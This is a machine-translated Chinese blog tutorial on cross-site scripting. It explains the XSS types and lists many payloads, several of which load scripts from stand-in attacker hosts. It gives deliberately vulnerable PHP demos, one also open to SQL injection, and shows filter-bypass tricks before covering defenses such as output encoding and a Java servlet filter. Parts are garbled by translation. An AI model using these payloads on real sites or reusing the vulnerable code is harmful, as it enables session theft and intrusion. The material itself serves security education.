https://blog.csdn.net/qq_35393693/article/details/86597707
Detailed explanation of XSS (cross site scripting) vulnerability
Principle and classification of XSS
Cross site scripting attack XSS(Cross Site Scripting). In order not to be confused with the abbreviation of cascading style sheets (CSS), cross site scripting attack is abbreviated as XSS. Malicious attackers insert malicious Script code into the Web page. When users browse the page, the Script code embedded in the Web will be executed, so as to achieve the purpose of malicious attack on users. XSS attacks are targeted at user level attacks!
XSS is divided into storage type, reflection type and DOM type
Stored XSS: stored XSS, persistent. The code is stored in the server. For example, insert the code in places such as personal information or published articles. If there is no filtering or the filtering is not strict, these codes will be stored in the server, and the code execution will be triggered when the user accesses the page. This XSS is dangerous and easy to cause worms and steal cookie s
Reflective XSS: non persistent. It needs to deceive users to click the link to trigger XSS code (there is no such page and content in the server). It is generally easy to appear on the search page
DOM type XSS: without going through the back end, DOM-XSS vulnerability is a vulnerability based on document object model (DOM). DOM-XSS is triggered by controlling parameters passed in through url. In fact, it also belongs to reflective XSS.
document.referer window.name location innerHTML documen.write
As shown in the figure, we pass in the value of the parameter in the URL, and then the client page uses the DOM method to obtain the value of the parameter in the URL through the js script, and then assigns the value to the selection list through the DOM method. This process is completely completed at the front end without going through the back end. Therefore, we can do something about the parameters we enter.
Insert picture description here
XSS attack payload
< script > tag: "< script >" tag is the most direct XSS payload. Script tag can refer to external JavaScript code or insert code into script tag
<script src=http://xxx. com/xss. JS > < / script > # reference external XSS <script> alert("hack")</script> #Pop up hack <script>alert(document.cookie)</script> #Pop up cookie
label:
<img src=1 οnerrοr=alert("hack")> <img src=1 onerror=alert(/hack/)> <img src=1 onerror=alert(document.cookie)> #Pop up cookie <img src=1 onerror=alert(123)> Note: for numbers, quotation marks can be omitted <img src="javascript:alert("XSS");"> <img dynsrc="javascript:alert('XSS')"> <img lowsrc="javascript:alert('XSS')">
<body>Tag: you can use onload attribute or other more ambiguous attributes (such as attribute) to pass XSS valid content background inside the tag
<body οnlοad=alert("XSS")> <body background="javascript:alert("XSS")">
< iframe > tag: this tag allows the embedding of another HTML page into the parent page. Iframe can contain JavaScript, but please note that due to the browser's content security policy (CSP), JavaScript in iframe cannot access the DOM of the parent page. However, iframe is still a very effective means to remove phishing attacks.
<iframe src="http://evil.com/xss.html">
< input > tag: in some browsers, if the tag's type attribute is set to image, you can operate on it to embed the script
<input type="image" src="javascript:alert('XSS');">
< link > tag: < link > tag, which is often used to connect scripts that can be included in external style sheets
<link rel="stylesheet" href="javascript:alert('XSS');">
< Table > Tags: you can use the background attribute of and tags to refer to scripts instead of images
<table background="javascript:alert('XSS')"> <td background="javascript:alert('XSS')">
< div > tag: This < div > tag, similar to < Table > and < td > tags, can also specify a background, so the embedded script.
<div style="background-image: url(javascript:alert('XSS'))"> <div style="width: expression(alert('XSS'));">
< Object > tag: this tag can be used to include scripts from external sites
<object type="text/x-scriptlet" data="http://hacker.com/xss.html">
Where can XSS be inserted?
User input as script tag content
User input as HTML comment content
The user enters the attribute name as an HTML tag
The user enters an attribute value as an HTML tag
The user enters a name as an HTML tag
Insert directly into CSS
Most importantly, never introduce any untrusted third-party JavaScript into the page!
#User input is used as HTML comment content, which allows an attacker to close and bypass <!-- User input --> <!-- --><script>alert('hack')</script><!-- --> #User input is used as tag attribute name, which allows attackers to bypass <div User input="xx"> </div> <div ></div><script>alert('hack')</script><div a="xx"> </div> #User input as tag attribute value allows attackers to perform closed bypasses <div id="User input"></div> <div id=""></div><script>alert('hack')</script><div a="x"></div> #User input as tag name, which allows attackers to perform closed bypasses <User input id="xx" /> <><script>alert('hack')</script><b id="xx" /> #User input is used as CSS content, which allows an attacker to close and bypass <style>User input<style> <style> </style><script>alert('hack')</script><style> </style>
XSS vulnerability mining
Black box test
Try to find all places that users can control and output in the page code, such as the following:
Every parameter of the URL
URL itself
form
Search box
Common business scenarios
Hardest hit areas: comment area, message area, personal information, order information, etc
Targeted: in station message, web instant messaging, private message and opinion feedback
Existing risks: search box, current directory, picture attributes, etc
White box test (code audit)
The code audit of XSS mainly starts from the place where the parameters are received and some keywords.
The common ways to receive parameters in PHP are G E T , _GET, GET,_ POST,$_ REQUEST, etc. you can search all the places where the parameters are received. Then track the received data to see whether it is output to the page, and then see whether the data output to the page has been filtered and html encoded.
You can also search for output statements like echo to track where the output variables come from, whether we can control them, if they are taken from the database, whether they can control the data stored in the database, whether they are filtered before being stored in the database, and so on.
Most programs will uniformly call the functions that receive parameters encapsulated in public files. We need to audit these public functions to see if they are filtered, whether they can be bypassed, and so on.
Similarly, DOM injection can search some keywords of js operation DOM elements for audit.
XSS attack process
Reflective XSS vulnerability:
Alice often browses a website owned by Bob. Bob's site requires Alice to log in with a user name / password and stores Alice's sensitive information (such as bank account information).
Tom found that Bob's site has a reflective XSS vulnerability
Tom wrote a URL containing malicious code and used various means to induce Alice to click
After logging in to Bob's site, Alice browsed the URL provided by Tom
The malicious script embedded in the URL is executed in Alice's browser. This script steals sensitive information (cookie s, account information, etc.). Then Alice sends this information to Tom without Alice's knowledge.
Tom can log in to Bob's site as Alice by using the obtained cookie. If the script is more powerful, Tom can also control Alice's browser and further exploit the vulnerability control
Storage XSS vulnerability:
Bob has a Web site that allows users to publish / browse published information.
Tom detected that Bob's site has a storage type XSS vulnerability.
Tom publishes a hotspot information with malicious script on Bob's website, which is stored in Bob's server database, and then attracts other users to read the hotspot information.
After Bob or any other person such as Alice browses the information, Tom's malicious script will execute.
After Tom's malicious script is executed, Tom can launch an XSS attack on the user of the browser page
Harm of XSS vulnerability
From the above, we can know that storage XSS is the most harmful. Because it is stored on the server, we do not need to have any contact with the attacker. As long as the attacker accesses the page, he will be attacked. Reflective and DOM XSS require us to induce users to click on the malicious URL we construct, and we need to have direct or indirect contact with users, such as using social engineering or hanging horses on other web pages.
So what can you do with XSS vulnerabilities?
If our JS level is average, we can use the online free XSS platform to construct code to attack.
XSS vulnerability attack test
Reflective XSS:
Release the source code first
//Front end 1 html: <html> <head lang="en"> <meta charset="UTF-8"> <title>Reflex type XSS</title> </head> <body> <form action="action.php" method="post"> <input type="text" name="name" /> <input type="submit" value="Submit"> </form> </body> </html> //Back end action php: <?php $name=$_POST["name"]; echo $name; ?>
Here is a page submitted by users. Users can submit data here and submit it to the background for processing
Therefore, we can submit data in the input box: < script > alert ('hack ') < / script >, and see what happens
The page of hack pops up directly. You can see that the statement we inserted has been executed by the page.
This is the most basic reflective XSS vulnerability. The data flow of this vulnerability is: front end – > back end – > front end
Storage XSS:
Give the source code first
//Front end: 2 html <html> <head lang="en"> <meta charset="UTF-8"> <title>Storage type XSS</title> </head> <body> <form action="action2.php" method="post"> Enter your ID: <input type="text" name="id" /> <br/> Enter your Name: <input type="text" name="name" /> <br/> <input type="submit" value="Submit"> </form> </body> </html> //Back end: action2 php <?php $id=$_POST["id"]; $name=$_POST["name"]; mysql_connect("localhost","root","root"); mysql_select_db("test"); $sql="insert into xss value ($id,'$name')"; $result=mysql_query($sql); ?> //Page for other users to visit: show2 php <?php mysql_connect("localhost","root","root"); mysql_select_db("test"); $sql="select * from xss where id=1"; $result=mysql_query($sql); while($row=mysql_fetch_array($result)){ echo $row['name']; } ?>
Here is a page submitted by the user. After the data is submitted to the back-end, the back-end is stored in the database. Then, when other users visit another page, the back end calls out the data and displays it to another user, and the XSS code is executed.
We enter 1 and. Note that the single quotation mark of hack here should be escaped. Because $name in the sql statement is single quotation mark, if it is not escaped here, the single quotation mark in the sql statement will be closed. Or it won't go in. After submitting, let's look at the database
You can see that our XSS statement has been inserted into the database
Then when other users access show2 PHP page, the XSS code we inserted is executed.
The data flow direction of storage XSS is: front end – > back end – > database – > back end – > front end
DOM type XSS:
Put the source code first
// Front end 3 html <html> <head lang="en"> <meta charset="UTF-8"> <title>DOM type XSS</title> </head> <body> <form action="action3.php" method="post"> <input type="text" name="name" /> <input type="submit" value="Submit"> </form> </body> </html> // Backend action3 php <?php $name=$_POST["name"]; ?> <input id="text" type="text" value="<?php echo $name; ?>"/> <div id="print"></div> <script type="text/javascript"> var text=document.getElementById("text"); var print=document.getElementById("print"); print.innerHTML=text.value; // Get the value of text and output it in print. Here is the main reason for xss. </script>
Here is a page submitted by users. Users can submit data here and submit it to the background for processing
We can enter < img SRC = 1 ο nerr ο r=alert('hack ') >, and then look at the changes of the page
The page of hack pops up directly. You can see that the statement we inserted has been executed by the page.
This is the DOM XSS vulnerability. The data flow direction of this vulnerability is: front end – > browser
XSS filtering and bypassing
When we talked about sql injection earlier, we talked about some filtering of sql injection by the program ape. We use some functions (such as preg_replace()) to filter some characters of sql statements to prevent injection. Then, the program can also use some functions to filter some key characters that make up XSS code. However, the way is one foot higher than the devil. Although it is filtered, it can still be filtered and bypassed to achieve the purpose of XSS attack.
1: Case sensitive filter labels
Put the source code first
//Front end 1 html: <html> <head lang="en"> <meta charset="UTF-8"> <title>Reflex type XSS</title> </head> <body> <form action="action4.php" method="post"> <input type="text" name="name" /> <input type="submit" value="Submit"> </form> </body> </html> //Backend action4 php: <?php $name=$_POST["name"]; if($name!=null){ $name=preg_replace("/<script>/","",$name); //Filter < script > $name=preg_replace("/<\/script>/","",$name); //Filter < / script > echo $name; } ?>
Bypass technique: you can use case to bypass < scriptt > alert ('hack ') < / scriptt >
2: Case insensitive filter labels
Put the source code first
This is as like as two peas, but only one i is added to filter, which is not case sensitive.
$name=preg_replace("/<script>/i","",$name); //Case insensitive filtering < script > $name=preg_replace("/<\/script>/i","",$name); //Case insensitive filtering < / script >
Bypass technique: you can use nested script tags to bypass < SCR < script > IPT > alert ('hack ') < / SCR < / script > IPT >
3: Case insensitive, filtering all content between
Put the source code first
This is as like as two peas, but the filtering conditions are changed.
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); //Filter everything between < script and
Although it cannot be used
payload: <img src=1 οnerrοr=alert('hack')>
We can enter < img SRC = 1 ο nerr ο r=alert('hack ') >, and then look at the changes of the page
XSS defense
The general idea of XSS defense is to filter the user's input (and URL parameters) and html code the output. That is, filter all the contents submitted by the user, filter the parameters in the URL, and filter out the relevant contents that will lead to the execution of the script; Then html code the content dynamically output to the page, so that the script cannot be executed in the browser.
Filtering the input content can be divided into blacklist filtering and whitelist filtering. Although blacklist filtering can intercept most XSS attacks, it still has the risk of being bypassed. Although white list filtering can basically eliminate XSS attacks, such strict white list filtering can not be carried out in the real environment.
html encoding the output is to encode the user's input data through functions, so that it cannot be run as a script.
As follows, use the htmlspecialchars function in php to html encode the name parameter entered by the user and convert it into an html entity
#Use the htmlspecialchars function to html encode the name parameter entered by the user and convert it into an html entity $name = htmlspecialchars( $_GET[ 'name' ] );
Methods to prevent XSS cross site script attack in Java development
-
The anti blocking cross site vulnerability prevents an attacker from publishing cross site attack statements on the attacked website. Any content submitted by the user cannot be trusted. First, the length and length of the places and variables entered by the user in the code need to be carefully checked And other characters are fi lt ered; Secondly, any content must be encode d before writing to the page to avoid accidentally getting the html tag out. At this level, at least more than half of XSS attacks can be blocked.
-
Cookie anti-theft
First, avoid disclosing user privacy directly in cookies, such as email, password, etc. Secondly, the risk of cookie disclosure is reduced by binding the cookie to the system ip. In this way, the cookie obtained by the attacker has no real value and cannot be replayed.
- Try to submit forms by POST rather than GET
POST operation cannot bypass the use of javascript, which will make it more difficult for attackers and reduce the available resources
Cross site vulnerability.
- Strictly check refer
Check whether the http refer ence is from the expected url. This can prevent http requests initiated by type 2 attacks and most type 1 attacks, unless cross site access is planted on the reference page of privileged operations.
- Change the single-step process to multi-step process, and introduce validation code into the multi-step process
In each step of the multi-step process, a verification code is generated and embedded in the middle page as a hidden form element. In the next operation, the verification code is submitted to the server, and the server checks whether the verification code matches.
First, this greatly increases the trouble for type 1 attackers. Secondly, the attacker must get the validation code generated in the previous step in the multi-step process before he can launch the next request, which is almost impossible in the type 2 attack.
- Introduce user interaction
A simple figure reading number can block almost all unexpected privileged operations.
-
Use dynamic javascript only where anonymous access is allowed.
-
For img and other link s in the information submitted by the user, check whether there are redirected back to the site, non real pictures, etc
Suspicious operation.
- Problems of internal management website
Many times, internal management websites often neglect to pay attention to security issues and simply restrict access sources. Such websites often have no resistance to XSS attacks and need more attention. Security issues need long-term attention and have never been bought and sold with a hammer. XSS attack is more subtle and changeable than other attack methods. It has something to do with business processes and code implementation. There is no once and for all solution. In addition, in the face of XSS, the convenience of the product is often sacrificed to ensure complete security. How to balance security and convenience is also a matter to be considered.
Notes for web application developers:
1. For developers, they should first focus on reliable input verification of all user submitted content. These submissions include URL, query key
Word, http header, post data, etc. Only accept the characters you want in the appropriate format within the length range you specify. Block, filter, or ignore other
Anything.
2. Protect all sensitive functions from being automated by bots or executed by third-party websites. Implement session tokens
CAPTCHA system or HTTP reference header check.
3. If your web application must support HTML provided by users, the security of the application will suffer a disastrous decline. But you can still do something
Protect the web site: make sure the HTML content you receive is properly formatted, contains only minimal and safe tag s (absolutely no JavaScript), and removes any
References to remote content (especially stylesheets and JavaScript). For more security, please use httpOnly cookie s.
Solution of XSS cross site script attack vulnerability
Solution:
First, control the syntax elements of script injection. For example, JavaScript cannot be separated from: "<", ">", "(", ")", ";" And so on, we only need to fi lt er or escape the characters during input or output. Generally, we will use the escape method. The escape character will use the HTML source code, because the source code can be directly recognized by the browser, so it is very convenient to use. Allowing the len gt h limit of the string that can be input can also control script injection to a certain extent.
Second, all filtering, detection, restriction and other strategies are recommended to be completed at the end of the Web Server, rather than using the client's JavaScript or VBScript for simple inspection. Because real attackers can bypass your well-designed client for filtering, detection or restriction.
For comprehensive consideration, it is decided to filter directly in the background.
Solution:
Two new filter classes are added:
public class XssFilter implements Filter { @Override public void destroy() { } /** * Filter the method used to filter */ @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { //Packaging request XssHttpServletRequestWrapper xssRequest = new XssHttpServletRequestWrapper((HttpServletRequest) request); chain.doFilter(xssRequest, response); } @Override public void init(FilterConfig filterConfig) throws ServletException { } }
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { HttpServletRequest orgRequest = null; public XssHttpServletRequestWrapper(HttpServletRequest request) { super(request); } /** * Override the getParameter method and xss filter the parameter name and parameter value. * If you need to get the original value, use super Getparametervalues (name) to get * getParameterNames,getParameterValues And getParameterMap may also need to be overwritten */ @Override public String getParameter(String name) { String value = super.getParameter(xssEncode(name)); if (value != null) { value = xssEncode(value); } return value; } @Override public String[] getParameterValues(String name) { String[] value = super.getParameterValues(name); if(value != null){ for (int i = 0; i < value.length; i++) { value[i] = xssEncode(value[i]); } } return value; } @Override public Map getParameterMap() { return super.getParameterMap(); } /** * Replace half angle characters that are easy to cause xss vulnerabilities with full angle characters directly, and save them without deleting data * @return Filtered value */ private static String xssEncode(String value) { if (value == null || value.isEmpty()) { return value; } value = value.replaceAll("eval\\((.*)\\)", ""); value = value.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\""); value = value.replaceAll("(?i)<script.*?>.*?<script.*?>", ""); value = value.replaceAll("(?i)<script.*?>.*?</script.*?>", ""); value = value.replaceAll("(?i)<.*?javascript:.*?>.*?</.*?>", ""); value = value.replaceAll("(?i)<.*?\\s+on.*?>.*?</.*?>", ""); return value; } }
web. Add filter to XML:
<filter> <filter-name>XssFilter</filter-name> <filter-class>XXXXX(The path of the class).XssFilter</filter-class> </filter> <filter-mapping> <filter-name>XssFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
OK, if you need to customize the interception rules, just modify the xssEncode method of XssHttpServletRequestWrapper class.
web project solves XSS cross site scripting vulnerability
The maven project solution needs to be configured as follows:
1, Web xml
<!--Guard against Xss start--> <filter> <filter-name>XSSChecker</filter-name> <filter-class>com.watchme.login.filter.RedSwallowFilterNew</filter-class> <init-param> <param-name>redswallow.filter.plugin.htmlescapechar.config.includeParamPatterns</param-name> <param-value>service,staffId,STAFF_ID,cond_SERIAL_NUMBER,default_pagin_pagesize,EXEC_TIME,FINISH_DATE,sp,Listener,CLIENT_WIDTH,lh_type,listener,ROUTE_VALUE,contextCode,_tradeBase </param-value> </init-param> <init-param> <param-name>redswallow.filter.charset</param-name> <param-value>GBK</param-value> </init-param> </filter> <filter-mapping> <filter-name>XSSChecker</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <filter> <filter-name>CharacterFilter</filter-name> <filter-class>com.watchme.login.filter.CharacterFilter</filter-class> <init-param> <param-name>unCheckURLS</param-name> <param-value> (/.*hotspot/saveHotspot*$)|(/.*product/editProductManager*$)|(/.*product/addProductManager*$) |(/.*product/addMarketActivity*$)|(/.*product/editProductManager*$)|(/.*product/addProjectCase*$) |(/.*product/editProductManager*$) |(/.*product/productSearchDetail*$)|(/.*product/editProductInfo*$) |(/.*\.js$)|(/.*\.css$)|(/.*\.png$)|(/.*\.jpg$)|(/.*\.gif$)|(/.*\.ico$) </param-value> </init-param> </filter> <!--Guard against Xss end-->
Big guy article link: https://blog.csdn.net/qq_35393693/article/details/86597707